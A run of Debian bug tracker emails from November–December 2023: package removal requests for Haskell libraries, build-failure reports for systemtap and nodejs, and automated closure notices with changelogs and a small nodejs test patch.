Processing control commands: > clone -1 -2 Bug #1054356 [src:haskell-data-tree-print] Removal notice: obsolete Bug 1054356 cloned as bug 1057211 > reassign -2 ftp.debian.org Bug #1057211 [src:haskell-data-tree-print] Removal notice: obsolete Bug reassigned from package 'src:haskell-data-tree-print' to 'ftp.debian.org'. No longer marked as found in versions haskell-data-tree-print/0.1.0.2-3. Ignoring request to alter fixed versions of bug #1057211 to the same values previously set > retitle -2 RM: haskell-data-tree-print -- ROM; obsolete Bug #1057211 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-data-tree-print -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057211 [ftp.debian.org] RM: haskell-data-tree-print -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054356: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054356 1057211: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057211 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054316: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-czipwith -- ROM; obsolete Control: severity -2 normal On Sat, Oct 21, 2023 at 08:07PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS with GHC 9.4 > * It's not part of the latest Stackage LTS > > If you believe we should keep this package in Debian, please close this > bug report. Dear FTP masters, please remove haskell-czipwith from unstable. -- Ilias
Bug#1018196: Bug#1018197: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-cipher-aes -- ROM; obsolete Control: severity -2 normal On Sun, Oct 22, 2023 at 07:19PM, Adrian Bunk wrote: > #1022681 has now been fixed. Dear FTP masters, please remove haskell-cipher-aes from unstable. -- Ilias
Processed (with 4 errors): Re: Bug#1018197: Removal notice: obsolete
Processing control commands:
> clone -1 -2
Bug #1018196 [src:haskell-cipher-aes] Removal notice: obsolete
Bug 1018196 cloned as bug 1057209
No valid blocking bug(s) given; not doing anything
Failed to clone 1018196: Unknown/archived blocking bug(s):1022681.
> reassign -2 ftp.debian.org
Failed to clear fixed versions and reopen on -2: The 'bug' parameter ("-2") to
Debbugs::Control::set_package did not pass regex check
.
> retitle -2 RM: haskell-cipher-aes -- ROM; obsolete
Failed to set the title of -2: The 'bug' parameter ("-2") to
Debbugs::Control::set_title did not pass regex check
.
> severity -2 normal
Failed to set severity of Bug -2 to normal: The 'bug' parameter ("-2") to
Debbugs::Control::set_severity did not pass regex check
.
--
1018196: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1018196
1057209: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057209
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed (with 4 errors): Re: Bug#1018197: Removal notice: obsolete
Processing control commands:
> clone -1 -2
Bug #1018197 [src:haskell-cprng-aes] Removal notice: obsolete
Bug 1018197 cloned as bug 1057208
No valid blocking bug(s) given; not doing anything
Failed to clone 1018197: Unknown/archived blocking bug(s):1022681.
> reassign -2 ftp.debian.org
Failed to clear fixed versions and reopen on -2: The 'bug' parameter ("-2") to
Debbugs::Control::set_package did not pass regex check
.
> retitle -2 RM: haskell-cprng-aes -- ROM; obsolete
Failed to set the title of -2: The 'bug' parameter ("-2") to
Debbugs::Control::set_title did not pass regex check
.
> severity -2 normal
Failed to set severity of Bug -2 to normal: The 'bug' parameter ("-2") to
Debbugs::Control::set_severity did not pass regex check
.
--
1018197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1018197
1057208: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057208
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#1018197: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-cprng-aes -- ROM; obsolete Control: severity -2 normal On Sun, Oct 22, 2023 at 07:19PM, Adrian Bunk wrote: > #1022681 has now been fixed. Dear FTP masters, please remove haskell-cprng-aes from unstable. -- Ilias
Processed: Re: Bug#1054498: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054498 [src:haskell-butcher] Removal notice: obsolete Bug 1054498 cloned as bug 1057206 > reassign -2 ftp.debian.org Bug #1057206 [src:haskell-butcher] Removal notice: obsolete Bug reassigned from package 'src:haskell-butcher' to 'ftp.debian.org'. No longer marked as found in versions haskell-butcher/1.3.3.2-2. Ignoring request to alter fixed versions of bug #1057206 to the same values previously set > retitle -2 RM: haskell-butcher -- ROM; obsolete Bug #1057206 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-butcher -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057206 [ftp.debian.org] RM: haskell-butcher -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054498: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054498 1057206: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057206 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1057205: systemtap: version 5.0-1 FTBFS on i386, ppc64el, riscv64
Package: systemtap Version: 5.0-1 Severity: serious g++ -DHAVE_CONFIG_H -I. -DBINDIR='"/usr/bin"' -DSYSCONFDIR='"/etc"' -DPKGDATADIR='"/usr/share/systemtap"' -DPKGLIBDIR='"/usr/lib/systemtap"' -DLOCALEDIR='"/usr/share/locale"' -DDOCDIR='"/usr/share/doc/systemtap"' -DPYEXECDIR='""' -DPY3EXECDIR='""' -I./includes -I./includes/sys -DSTAP_SDT_V2 -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -Wdate-time -D_FORTIFY_SOURCE=2 -Wall -Wextra -Werror -faligned-new -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -g -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -c -o stap-tapset-mark.o `test -f 'tapset-mark.cxx' || echo './'`tapset-mark.cxx In constructor ‘symresolution_info::symresolution_info(systemtap_session&, bool)’, inlined from ‘int semantic_pass_symbols(systemtap_session&)’ at elaborate.cxx:1872:28: elaborate.cxx:2659:21: error: storing the address of local variable ‘sym’ in ‘*s.systemtap_session::symbol_resolver’ [-Werror=dangling-pointer=] 2659 | s.symbol_resolver = this; // save resolver for early PR25841 function resolution | ~~^~ elaborate.cxx: In function ‘int semantic_pass_symbols(systemtap_session&)’: elaborate.cxx:1872:22: note: ‘sym’ declared here 1872 | symresolution_info sym (s); | ^~~ elaborate.cxx:1870:43: note: ‘s’ declared here 1870 | semantic_pass_symbols (systemtap_session& s) |~~~^ g++ -DHAVE_CONFIG_H -I. -DBINDIR='"/usr/bin"' -DSYSCONFDIR='"/etc"' -DPKGDATADIR='"/usr/share/systemtap"' -DPKGLIBDIR='"/usr/lib/systemtap"' -DLOCALEDIR='"/usr/share/locale"' -DDOCDIR='"/usr/share/doc/systemtap"' -DPYEXECDIR='""' -DPY3EXECDIR='""' -I./includes -I./includes/sys -DSTAP_SDT_V2 -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -Wdate-time -D_FORTIFY_SOURCE=2 -Wall -Wextra -Werror -faligned-new -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -g -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -c -o stap-tapset-utrace.o `test -f 'tapset-utrace.cxx' || echo './'`tapset-utrace.cxx g++ -DHAVE_CONFIG_H -I. -DBINDIR='"/usr/bin"' -DSYSCONFDIR='"/etc"' -DPKGDATADIR='"/usr/share/systemtap"' -DPKGLIBDIR='"/usr/lib/systemtap"' -DLOCALEDIR='"/usr/share/locale"' -DDOCDIR='"/usr/share/doc/systemtap"' -DPYEXECDIR='""' -DPY3EXECDIR='""' -I./includes -I./includes/sys -DSTAP_SDT_V2 -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -Wdate-time -D_FORTIFY_SOURCE=2 -Wall -Wextra -Werror -faligned-new -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -g -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -c -o stap-task_finder.o `test -f 'task_finder.cxx' || echo './'`task_finder.cxx g++ -DHAVE_CONFIG_H -I. -DBINDIR='"/usr/bin"' -DSYSCONFDIR='"/etc"' -DPKGDATADIR='"/usr/share/systemtap"' -DPKGLIBDIR='"/usr/lib/systemtap"' -DLOCALEDIR='"/usr/share/locale"' -DDOCDIR='"/usr/share/doc/systemtap"' -DPYEXECDIR='""' -DPY3EXECDIR='""' -I./includes -I./includes/sys -DSTAP_SDT_V2 -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -Wdate-time -D_FORTIFY_SOURCE=2 -Wall -Wextra -Werror -faligned-new -D_REENTRANT -I/usr/include/nss -I/usr/include/nspr -g -O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -c -o stap-dwflpp.o `test -f 'dwflpp.cxx' || echo './'`dwflpp.cxx cc1plus: all warnings being treated as errors make[3]: *** [Makefile:1297: stap-elaborate.o] Error 1 make[3]: *** Waiting for unfinished jobs make[3]: Leaving directory '/<>' make[2]: *** [Makefile:2216: all-recursive] Error 1 make[2]: Leaving directory '/<>' make[1]: *** [Makefile:816: all] Error 2 make[1]: Leaving directory '/<>' dh_auto_build: error: make -j8 returned exit code 2 make: *** [debian/rules:30: build-arch] Error 25 dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit status 2
Bug#1054498: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-butcher -- ROM; obsolete Control: severity -2 normal On Tue, Oct 24, 2023 at 06:30PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS > * It's not part of the latest Stackage LTS > > If you believe we should keep this package in Debian, please close this > bug report. Dear FTP masters, please remove haskell-butcher from unstable. -- Ilias
Bug#1057203: r-bioc-rhdf5filters: missing build-dependency on big-endian architectures
Source: r-bioc-rhdf5filters Version: 1.12.1+dfsg2-1 Severity: serious Tags: ftbfs X-Debbugs-Cc: debian-s...@lists.debian.org Hi Maintainer A commit on 2023-08-01 [1] added a build-dependency on libvbz-hdf-plugin-dev, which is not available on big-endian architectures, and prevents r-bioc-rhdf5filters from building on s390x [2], where it built previously, thus blocking migration. The package libvbz-hdf-plugin does not build on big-endian architectures [3] due to a missing build-dependency on libstreamvbyte-dev, and libstreamvbyte itself FTBFS on big-endian architectures [4]. According to: reverse-depends --release sid --recursive r-bioc-rhdf5filters r-bioc-rhdf5filters has many reverse-dependencies on s390x, so rather than dealing with all of these, it may be simplest to fix libstreamvbyte. Regards Graham [1] https://salsa.debian.org/r-pkg-team/r-bioc-rhdf5filters/-/commit/78ced3f3c70fe29db3ba16bc2b57da5ab0e4fa6c [2] https://buildd.debian.org/status/package.php?p=r-bioc-rhdf5filters [3] https://buildd.debian.org/status/package.php?p=libvbz-hdf-plugin [4] https://buildd.debian.org/status/package.php?p=libstreamvbyte
Processed: Re: Bug#1054596: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054596 [src:haskell-binary-parsers] Removal notice: obsolete Bug 1054596 cloned as bug 1057202 > reassign -2 ftp.debian.org Bug #1057202 [src:haskell-binary-parsers] Removal notice: obsolete Bug reassigned from package 'src:haskell-binary-parsers' to 'ftp.debian.org'. No longer marked as found in versions haskell-binary-parsers/0.2.4.0-4. Ignoring request to alter fixed versions of bug #1057202 to the same values previously set > retitle -2 RM: haskell-binary-parsers -- ROM; obsolete Bug #1057202 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-binary-parsers -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057202 [ftp.debian.org] RM: haskell-binary-parsers -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054596: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054596 1057202: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057202 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054596: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-binary-parsers -- ROM; obsolete Control: severity -2 normal On Thu, Oct 26, 2023 at 06:16PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS > * Seems unmaintained; Last upload more than 4 years ago > * It's not part of the latest Stackage LTS Dear FTP masters, please remove haskell-binary-parsers from unstable. -- Ilias
Bug#1055418: marked as done (systemtap: autopkgtest regression: Pass 4: compilation failed. [man error::pass4])
Your message dated Fri, 01 Dec 2023 14:50:41 + with message-id and subject line Bug#1055418: fixed in systemtap 5.0-1 has caused the Debian Bug report #1055418, regarding systemtap: autopkgtest regression: Pass 4: compilation failed. [man error::pass4] to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1055418: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1055418 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: systemtap Version: 4.9-1 Severity: serious User: debian...@lists.debian.org Usertags: regression Dear maintainer(s), Your package has an autopkgtest, great. However, it fails since a couple of months. Can you please investigate the situation and fix it? I copied some of the output at the bottom of this report. The release team has announced [1] that failing autopkgtest on amd64 and arm64 are considered RC in testing. More information about this bug and the reason for filing it can be found on https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation Paul [1] https://lists.debian.org/debian-devel-announce/2019/07/msg2.html https://ci.debian.net/data/autopkgtest/testing/amd64/s/systemtap/39374282/log.gz 223s /usr/share/systemtap/runtime/linux/print.c:367:46: error: ‘struct module’ has no member named ‘core_text_size’; did you mean ‘kprobes_text_size’? 223s 367 |(unsigned long) (THIS_MODULE->core_text_size)/1024, 223s | ^~ 223s /usr/src/linux-headers-6.5.0-3-common/include/linux/printk.h:427:33: note: in definition of macro ‘printk_index_wrap’ 223s 427 | _p_func(_fmt, ##__VA_ARGS__); \ 223s | ^~~ 223s /usr/share/systemtap/runtime/linux/print.c:348:9: note: in expansion of macro ‘printk’ 223s 348 | printk(KERN_DEBUG 223s | ^~ 223s cc1: all warnings being treated as errors 223s make[1]: *** [/usr/src/linux-headers-6.5.0-3-common/scripts/Makefile.build:248: /tmp/stapUiwpzl/hello_src.o] Error 1 223s make: *** [/usr/src/linux-headers-6.5.0-3-common/Makefile:2059: /tmp/stapUiwpzl] Error 2 223s WARNING: kbuild exited with status: 2 223s Pass 4: compiled C into "hello.ko" in 35730usr/7150sys/22477real ms. 223s Pass 4: compilation failed. [man error::pass4] 223s Tip: /usr/share/doc/systemtap/README.Debian should help you get started. 224s autopkgtest [08:12:49]: test build-hello: ---] OpenPGP_signature.asc Description: OpenPGP digital signature --- End Message --- --- Begin Message --- Source: systemtap Source-Version: 5.0-1 Done: Emanuele Rocca We believe that the bug you reported is fixed in the latest version of systemtap, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1055...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Emanuele Rocca (supplier of updated systemtap package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Fri, 01 Dec 2023 11:50:12 +0100 Source: systemtap Architecture: source Version: 5.0-1 Distribution: unstable Urgency: medium Maintainer: Emanuele Rocca Changed-By: Emanuele Rocca Closes: 1055418 Changes: systemtap (5.0-1) unstable; urgency=medium . * New upstream release. (Closes: #1055418) * Drop d/patches/include-cstdint.diff, applied upstream. * Add build-dependency on libdebuginfod-dev. Checksums-Sha1: 2d67f7754bcef668878e019005eaa68e72ac61ea 3081 systemtap_5.0-1.dsc f44f1853ddd462ac97b2c7c4b3a9434440d9d9c2 6572411 systemtap_5.0.orig.tar.gz d759b91612f00164697f2a014900573b2f2c1d66 833 systemtap_5.0.orig.tar.gz.asc 420d06c1b4cd986ca9698a193f4e6ef3f9066c75 28580 systemtap_5.0-1.debian.tar.xz d6a0c0aa533442f9454a71a242609074f53bb291 12690 systemtap_5.0-1_arm64.buildinfo Checksums-Sha256: e7dace4170a958a2dcdaca9057cac9c31f4cc7a92c66ca9cef71b989dc6a 3081 systemtap_5.0-1.dsc a8b43408895fee2b0023483b02f861700b0139629050666dfe4dfa1e49d59939 6572411 systemtap_5.0.orig.tar.gz c43a990ed2764e91168466a93f16812fe438b2da2599cff6ad88fb20b08d321d 833 systemtap_5.0.orig.tar.gz.asc
Bug#1055416: marked as done (nodejs: Testsuite failure in test-crypto-dh since OpenSSL 3.0.12/3.1.4.)
Your message dated Fri, 01 Dec 2023 13:23:42 +
with message-id
and subject line Bug#1055416: fixed in nodejs 18.19.0+dfsg-1
has caused the Debian Bug report #1055416,
regarding nodejs: Testsuite failure in test-crypto-dh since OpenSSL
3.0.12/3.1.4.
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1055416: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1055416
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: nodejs
Version: 18.13.0+dfsg1-1
Severity: Serious
Tags: patch
control: affects -1 src:openssl
OpenSSL 3.0.12 and 3.1.4 changed the error response resulting a failure
in test parallel/test-crypto-dh.
This has been addressed in the master branch in commit
8eea2d3709090 ("test: fix crypto-dh error message for OpenSSL 3.x")
An additional problem is that the check compares OpenSSL from compile
time not runtime. Which means I couldn't test upstream's version as-is.
The attached version takes always the 3.0.12/3.1.4 variant. Given that
the new upload picks up the new OpenSSL vesion then it should be okay to
apply the original commit.
Sebastian
From: Sebastian Andrzej Siewior
Date: Sun, 5 Nov 2023 13:08:23 +0100
Subject: [PATCH] test: Alter error message.
This is variant of upstream's commit
8eea2d3709090 ("test: fix crypto-dh error message for OpenSSL 3.x")
It does not work as-is in Debian because the testsuite may run against a
different version than the compiled once and the constant version check
does not apply.
Signed-off-by: Sebastian Andrzej Siewior
---
test/parallel/test-crypto-dh.js | 4 +---
2 files changed, 1 insertion(+), 3 deletions(-)
diff --git a/test/parallel/test-crypto-dh.js b/test/parallel/test-crypto-dh.js
index 18721fcf289e..506780db4cbe 100644
--- a/test/parallel/test-crypto-dh.js
+++ b/test/parallel/test-crypto-dh.js
@@ -165,9 +165,7 @@ if (common.hasOpenSSL3) {
assert.throws(() => {
dh3.computeSecret('');
-}, { message: common.hasOpenSSL3 ?
- 'error:02800080:Diffie-Hellman routines::invalid secret' :
- 'Supplied key is too small' });
+}, { message: 'Supplied key is too small' });
// Invalid test: curve argument is undefined
assert.throws(
--
2.42.0
--- End Message ---
--- Begin Message ---
Source: nodejs
Source-Version: 18.19.0+dfsg-1
Done: Jérémy Lal
We believe that the bug you reported is fixed in the latest version of
nodejs, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1055...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Jérémy Lal (supplier of updated nodejs package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
Format: 1.8
Date: Fri, 01 Dec 2023 01:23:44 +0100
Source: nodejs
Architecture: source
Version: 18.19.0+dfsg-1
Distribution: experimental
Urgency: medium
Maintainer: Debian Javascript Maintainers
Changed-By: Jérémy Lal
Closes: 1030284 1054690 1055416
Changes:
nodejs (18.19.0+dfsg-1) experimental; urgency=medium
.
[ Jérémy Lal ]
* New upstream version 18.19.0+dfsg
+ tests pass with openssl 3.1, closes: #1055416
+ tests pass with libc-ares >= 1.23.0, closes: #1054690
* Harmonize stack size patch for arm64. Closes: 1030284
* Install dir usr/lib//nodejs. Fix #1035463
* No longer force gcc 11 for sid
* Fix Vcs fields to point to the right branch
* builtins: set correct version in builtins headers
* dfsg-exclude for non-preferred form for modification:
+ deps/ada
+ deps/minimatch
+ test/fixtures/postject-copy
* component: ./ada
* copyright:
+ add missing authors to histogram
+ drop unnecessary snapshot.blob exclusion
+ licenses for ada
+ deps/cares now using Expat
+ document some new files
* patches:
+ test-process-versions must use system versions
+ drop the test using postject
+ build using ada component instead of deps/ada
+ minimatch is actually not needed for build
+ fix test-runner-output, forwarded
+ mark parallel/test-debugger-preserve-breaks as flaky,
it is failing in sbuild for now
+ fix test-dns-resolveany-bad-ancount to work with c-ares,
also to not hang the testsuite in sbuild
.
Bug#1054690: marked as done (nodejs: FTBFS: make[2]: *** [Makefile:526: test-ci-js] Error 1)
Your message dated Fri, 01 Dec 2023 13:23:42 +
with message-id
and subject line Bug#1054690: fixed in nodejs 18.19.0+dfsg-1
has caused the Debian Bug report #1054690,
regarding nodejs: FTBFS: make[2]: *** [Makefile:526: test-ci-js] Error 1
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1054690: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054690
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: nodejs
Version: 18.13.0+dfsg1-1
Severity: serious
Justification: FTBFS
Tags: trixie sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20231027 ftbfs-trixie
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> not ok 452 parallel/test-crypto-dh
> ---
> duration_ms: 3.320
> severity: fail
> exitcode: 1
> stack: |-
> node:assert:636
> throw err;
> ^
>
> AssertionError [ERR_ASSERTION]: Expected values to be strictly deep-equal:
> + actual - expected
>
> Comparison {
> + message: 'Supplied key is too small'
> - message: 'error:02800080:Diffie-Hellman routines::invalid secret'
> }
> at Object.
> (/<>/test/parallel/test-crypto-dh.js:166:8)
> at Module._compile (node:internal/modules/cjs/loader:1218:14)
> at Module._extensions..js (node:internal/modules/cjs/loader:1272:10)
> at Module.load (node:internal/modules/cjs/loader:1081:32)
> at Module._load (node:internal/modules/cjs/loader:922:12)
> at Function.executeUserEntryPoint [as runMain]
> (node:internal/modules/run_main:81:12)
> at node:internal/main/run_main_module:23:47 {
> generatedMessage: true,
> code: 'ERR_ASSERTION',
> actual: RangeError: Supplied key is too small
> at DiffieHellman.dhComputeSecret [as computeSecret]
> (node:internal/crypto/diffiehellman:167:29)
> at assert.throws.message
> (/<>/test/parallel/test-crypto-dh.js:167:7)
> at getActual (node:assert:757:5)
> at Function.throws (node:assert:903:24)
> at Object.
> (/<>/test/parallel/test-crypto-dh.js:166:8)
> at Module._compile (node:internal/modules/cjs/loader:1218:14)
> at Module._extensions..js (node:internal/modules/cjs/loader:1272:10)
> at Module.load (node:internal/modules/cjs/loader:1081:32)
> at Module._load (node:internal/modules/cjs/loader:922:12)
> at Function.executeUserEntryPoint [as runMain]
> (node:internal/modules/run_main:81:12) {
> code: 'ERR_CRYPTO_INVALID_KEYLEN'
> },
> expected: { message: 'error:02800080:Diffie-Hellman routines::invalid
> secret' },
> operator: 'throws'
> }
>
> Node.js v18.13.0
> ...
[...]
> not ok 3195 sequential/test-debugger-preserve-breaks # TODO : Fix flaky test
> ---
> duration_ms: 31.770
> severity: flaky
> exitcode: 1
> stack: |-
> /<>/test/common/debugger.js:90
> reject(new Error([
> ^
>
> Error: Timeout (3) while waiting for /(?:assert|break|break on
> start|debugCommand|exception|other|promiseRejection) in/i; found: debug>
> debug>
> < Waiting for the debugger to disconnect...
> <
> debug>
> at Timeout.
> (/<>/test/common/debugger.js:90:18)
> at listOnTimeout (node:internal/timers:564:17)
> at process.processTimers (node:internal/timers:507:7)
>
> Node.js v18.13.0
> ...
The full build log is available from:
http://qa-logs.debian.net/2023/10/27/nodejs_18.13.0+dfsg1-1_unstable.log
All bugs filed during this archive rebuild are listed at:
https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231027;users=lu...@debian.org
or:
https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231027=lu...@debian.org=1=1=1=1#results
A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!
If you reassign this bug to another package, please mark it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects
If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: nodejs
Source-Version: 18.19.0+dfsg-1
Done: Jérémy Lal
We believe that the bug you reported is fixed in the latest version of
nodejs, which is due to be installed in the Debian FTP archive.
A summary of the changes between this
Bug#1030284: marked as done (nodejs: [arm64] RangeError: Maximum call stack size exceeded)
Your message dated Fri, 01 Dec 2023 13:23:41 + with message-id and subject line Bug#1030284: fixed in nodejs 18.19.0+dfsg-1 has caused the Debian Bug report #1030284, regarding nodejs: [arm64] RangeError: Maximum call stack size exceeded to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1030284: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1030284 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: nodejs Version: 18.13.0+dfsg1-1 Severity: serious Tags: upstream Justification: breaks on release architecture X-Debbugs-Cc: t...@mirbsd.de Control: affects -1 src:dygraphs During reproducible-builds testing, I found that one of my packages, the one with nodejs used during build, worked on amd64 (which the arch:all packages are built on), i386, armhf(!) but not on arm64. Testing on the porterbox reveals that indeed nodejs fails there. To reproduce, easiest way: $ apt-get source dygraphs # = 2.2.0-4 $ cd dygraphs-2.2.0 $ babeljs --config-file $PWD/babel.config.json --compact false --source-maps inline -d tests5 auto_tests Omitting --compact false and --source-maps inline can also be done, the bug is triggered nevertheless: RangeError: Maximum call stack size exceeded at NodePath.getScope (/usr/share/nodejs/@babel/traverse/lib/path/index.js:84:11) at NodePath.setScope (/usr/share/nodejs/@babel/traverse/lib/path/context.js:115:21) at NodePath.setContext (/usr/share/nodejs/@babel/traverse/lib/path/context.js:128:8) at NodePath.pushContext (/usr/share/nodejs/@babel/traverse/lib/path/context.js:183:8) at TraversalContext.visitQueue (/usr/share/nodejs/@babel/traverse/lib/context.js:78:14) at TraversalContext.visitSingle (/usr/share/nodejs/@babel/traverse/lib/context.js:65:19) at TraversalContext.visit (/usr/share/nodejs/@babel/traverse/lib/context.js:109:19) at traverseNode (/usr/share/nodejs/@babel/traverse/lib/traverse-node.js:18:17) at NodePath.visit (/usr/share/nodejs/@babel/traverse/lib/path/context.js:86:52) at TraversalContext.visitQueue (/usr/share/nodejs/@babel/traverse/lib/context.js:86:16) There are numerous references to nodejs failing in this way on arm64 platforms, normal Linux but even on Android as well, on the internet; h01ger said several other nodejs-using packages FTBFS on arm64 in the same way during reproducible-builds testing. I consider this an architecture-specific release-critical bug. Maybe having a reproducer and access to a porterbox will allow a nodejs maintainer to track this down. -- System Information: Debian Release: bookworm/sid APT prefers unstable-debug APT policy: (500, 'unstable-debug'), (500, 'unstable') merged-usr: no Architecture: arm64 (aarch64) Kernel: Linux 5.10.0-21-arm64 (SMP w/4 CPU threads) Locale: LANG=C, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /bin/dash Init: unable to detect Versions of packages nodejs depends on: ii libc6 2.36-8 ii libnode108 18.13.0+dfsg1-1 Versions of packages nodejs recommends: ii ca-certificates 20211016 pn nodejs-doc Versions of packages nodejs suggests: pn npm -- no debconf information --- End Message --- --- Begin Message --- Source: nodejs Source-Version: 18.19.0+dfsg-1 Done: Jérémy Lal We believe that the bug you reported is fixed in the latest version of nodejs, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1030...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Jérémy Lal (supplier of updated nodejs package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Fri, 01 Dec 2023 01:23:44 +0100 Source: nodejs Architecture: source Version: 18.19.0+dfsg-1 Distribution: experimental Urgency: medium Maintainer: Debian Javascript Maintainers Changed-By: Jérémy Lal Closes:
Processed: rust-wasmtime: FTBFS error[E0599]: no function or associated item named `from_str` found for struct `Triple` in the current scope
Processing control commands: > block 1055090 by -1 Bug #1055090 [src:rust-backtrace] rust-backtrace: please update to v0.3.69 1055090 was not blocked by any bugs. 1055090 was not blocking any bugs. Added blocking bug(s) of 1055090: 1057198 -- 1055090: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1055090 1057198: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057198 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
